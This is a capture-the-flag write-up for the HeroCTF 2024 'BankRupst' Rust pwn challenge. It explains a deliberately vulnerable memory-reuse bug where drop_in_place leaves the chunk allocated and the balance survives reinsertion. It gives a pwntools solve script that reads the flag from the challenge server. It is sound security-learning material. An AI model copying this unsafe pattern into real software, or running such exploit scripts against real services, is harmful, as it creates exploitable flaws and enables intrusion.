Table of contents



Note

Writeup for the first pwn challenge from HeroCTF 2024.

Description

BankRupst is a bank operating in bankruptcy where no laws are applicable.

File information

We’re given the binary and the source code which is written in Rust.

checksec bankrupst; file bankrupst

[*] '/home/conflict/ctfs/heroctf2024/pwn/pwn_bankrupst/bankrupst'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
bankrupst: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, BuildID[sha1]=fcaba4040b2539cfd3c26241d864d3e46727ca82, not stripped

Reading the source code, we can see that every function has the unsafe keyword. It is used to bypass Rust’s safety checks and allows greater “control” over memory, but it can also make your program vulnerable if memory is not managed properly.

The program simulates a simple bank account manager: you can insert & remove your card, deposit & withdraw money, and check your balance.

Looking for a vulnerability

We can see that option 4 is our win function:

4 => {
    if opened {
        println!("Account balance: {}", (*account).balance);
        if (*account).balance > 1337 {
            println!("Congrats! You are now a special member!");
	        let flag_file = "flag.txt";
            match fs::read_to_string(flag_file) {
                Ok(flag) => println!("{}", flag),
                Err(e) => eprintln!("Error reading flag.txt: {}", e),
            }
        }
    } else {
        println!("Enter your BankRupst card!");
    }
}

If our account’s balance is greater than $1337, the program will output the flag, so now we know our goal. We need to figure out how to achieve it.

Let’s start by taking a look at the deposit function.

unsafe fn deposit(account: *mut BankAccount) {
        if (*account).deposits >= 13 {
            println!("Deposit limit reached this month.");
            return;
        }

        print!("How much do you want to deposit? ");
        io::stdout().flush().unwrap();
        let mut amount_input = String::new();
        io::stdin().read_line(&mut amount_input).unwrap();
        let amount: i32 = amount_input.trim().parse().unwrap();

        if amount < 0 {
            return;
        } else if amount > 100 {
            println!("You cannot exceed 100 per deposit.");
            return;
        } else {
            (*account).balance += amount;
            (*account).deposits += 1;
        }
        
    }

There are two important things:

  • Only 13 deposits are allowed.
  • The maximum deposit amount is $100.

Obviously, we cannot deposit $1338 to the account; the maximum is going to be $1300.

Let’s try to find a way to work around this limit. We can notice a difference in how the BankAccount struct is dropped between options 5 and 6:

5 => {
                    if opened {
                        (*account).balance=0;
                        (*account).deposits = 0;
                        ptr::drop_in_place(account);
                        opened = false;
                        println!("BankRupst card removed.");
                    } else {
                        println!("You must insert your BankRupst card!");
                    }
                }
                6 => {
                    if opened {
                        (*account).balance=0;
                        (*account).deposits = 0;
                        let layout = Layout::new::<BankAccount>();
                        dealloc(account as *mut u8, layout);
                        account = ptr::null_mut();
                        opened = false;
                        println!("Thank you for using BankRupst!");

In option 6, the memory chunk is deallocated, and the pointer is nulled. In option 5, this is not the case. The drop_in_place function only destroys the struct, but the memory chunk is not deallocated.

This means that if we remove our card and insert it again, our new BankAccount struct will occupy the previous account’s memory chunk.

Let’s take a look at how a BankAccount is created:

struct BankAccount {
    balance: i32,
    deposits: u32,
}

impl BankAccount {
    unsafe fn new() -> *mut BankAccount {
        let layout = Layout::new::<BankAccount>();
        let ptr = alloc(layout) as *mut BankAccount;

        if ptr.is_null() {
            panic!("Memory allocation failed!");
        }

        (*ptr).deposits = 0;
        ptr 
    }

As you can see, deposits is set to 0.

Exploit Plan (TLDR)

  1. Insert the card (make an account).
  2. Make 13 deposits of $100 each.
  3. Remove the card (drop the struct).
  4. Insert the card again (reuse the memory chunk).
  5. Check the balance.

⚠️ This solution works thanks to weird memory behaviour; check the author’s writeup for the intended solution.

Solve Script

#!/usr/bin/python3

from pwn import *

context.update(arch='x86_64')
context.binary = elf = ELF("./bankrupst")

def start():
    if args.REMOTE:
        r = remote("pwn.heroctf.fr", 6001)
    else:
        r = process("./bankrupst")
        gdb.attach(r)
    return r

io = start()

# =============================================================================

# =-=-=- Un jour je serai le meilleur pwner -=-=-=


# =============================================================================
# Insert card
io.sendlineafter(b'option: ', b'1')

# Fill the account to get the amount to 1300
for i in range(13):
    io.sendlineafter(b'option: ', b'2')
    io.sendlineafter(b'deposit? ', b'100')

# Remove the card to drop the struct
io.sendlineafter(b'option: ', b'5')

# Reinsert the card to make a new struct over it
io.sendlineafter(b'option: ', b'1')

# Flag !
io.sendlineafter(b'option: ', b'4')

print((b"Flag -> Hero" + io.recv().split(b'Hero')[1].split(b'\n')[0]).decode('utf-8'))

Conclusion

Nice challenge exploiting a logic bug and a use-after-free.

back to top